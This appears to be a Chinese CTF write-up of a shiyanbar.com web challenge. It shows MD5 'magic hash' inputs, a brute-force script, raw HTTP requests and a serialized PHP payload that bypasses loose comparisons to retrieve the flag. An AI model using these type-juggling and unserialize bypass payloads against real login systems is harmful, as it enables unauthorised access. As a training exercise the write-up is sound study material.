





QNKCDZO

0e330400451993494058024219903391

s878926199a

0e45993274517709034328855841020

s145964671a

0e42768416822451524974117254469

s24587387a

0e48240448830537924465865611904

s24587387a

0e48240448830537924465865611904

s878926199a

0e45993274517709034328855841020

s1491221200a

0e40624217856561557816327384675

- 所以我得找一个开头为0e，后面30位全为数字的md5哈希值。。。
- 手动试了半天，感觉几乎不可能，于是去写了个脚本来跑，十分钟后，还没跑出来，于是改了下，就挂机睡觉了。。。

```
import hashlib
import time
txt = 's'
n = 0
t1 = time.time()
while 1:
    md5 = hashlib.md5('{}'.format(txt).encode('utf-8'))
    print(md5.hexdigest())
    if md5.hexdigest()[0:2] == '0e' and md5.hexdigest()[2:].isdigit()==True:
        print('OK!', '最后的字符串是{}'.format(txt))
        t2 = time.time()
        break
    n = n + 1
    txt = 's'+str(n)+'e'
t3 = t2 - t1
print("一共试了{}次".format(n+1))
print("一共花了{}秒".format(t3))
```

- 第二天早上起来看了下，算是跑出来了，字符串为s224534898e，但是一看次数，2亿多次。。。

0e420233178946742799316739797882

OK! 最后的字符串是s224534898e

一共试了224534899次

一共花了2167.285260915756秒

- 继续，用自己算出来的字符串扔进去，这次终于OK了。。。不容易不容易

s224534898e

<p>就是这么光明正大的放置用户名和密码，爸爸说我们再也不会忘记密码啦。</p>  
<form enctype="multipart/form-data" method="post" action="index.php">

```
-----18200346016807
Content-Disposition: form-data; name="password"

admin
-----18200346016807--
```

```
<table>
<tr>
<td>大家请放心使用我们的产品。 </td>
</tr>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admin"></td>
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin"></td>
</tr>
<tr>
<td><input type="submit" value="登入系统"></td>
</tr>
</table>
</form>
/user.php?fame=hjkleffifer<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 然后去访问提示的网页。

```
POST /10/web1/user.php?fame=hjkleffifer HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/10/web1/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=-----18200346016807
Content-Length: 259

-----18200346016807
Content-Disposition: form-data; name="username"

s224534898e
-----18200346016807
```

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 18 Aug 2019 19:05:21 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.38
Content-Length: 275

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???)
{
    print_r($flag);
}

伟大的科学家php方言道：成也布尔，败也布尔。
回去吧骚年
```

- 这里涉及到了序列化和反序列化，具体的可以看最后总结中的博客链接，这里就不多说了。要求就是一个数组里面的user和pass都等于???就行了。这里???应该是一个字符串吧，又是弱类型比较，那么这里和数字0比较，字符串转换失败都会为报错(我想我应该不会这倒霉，这字符串是以数字看开头且不是0的吧~~)，写了个php将数组转成了序列化

```
Array ( [user] => 0 [pass] => 0 )
a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
```

- 将序列化的结果填到密码中去，啊哈哈，搞定~

```
s224534898e
-----18200346016807
Content-Disposition: form-data; name="password"

a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
-----18200346016807--
```

```
<form enctype="multipart/form-data" method="post" action=
<table>
<tr>
<td>澶y□ 脣□ 锋□ 惧□ 浣跨□ 儿□ □ 浣□ □ □ 淇y□ □ □ □ </td>
</tr>
<tr>
<td>□ 儿□ 峰□ □ :</td><td><input type="text" name="userna
</tr>
<tr>
<td>澣□ □ □ :</td><td><input type="text" name="password"
</tr>
<tr>
<td><input type="submit" value="□ 诨□ a 梆缙□"></td>
</tr>
</table>
</form>
/user.php?fame=hjkleffiferctf{dwduwkhduw5465}<!-- $te
</body>
</html>
```

## 总结

- 弱类型比较，链接：<https://baynk.blog.csdn.net/article/details/99709333>

- php序列化和反序列化，链接：<https://baynk.blog.csdn.net/article/details/99712035>
- 最后，看其他人的writeup的时候，其实最后的反序列化有更好的选择，利用任何字符串都和bool值的True相等的特性来完成需求会更靠谱，因为这样不用期待字符串开头是数字且不是0了~



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)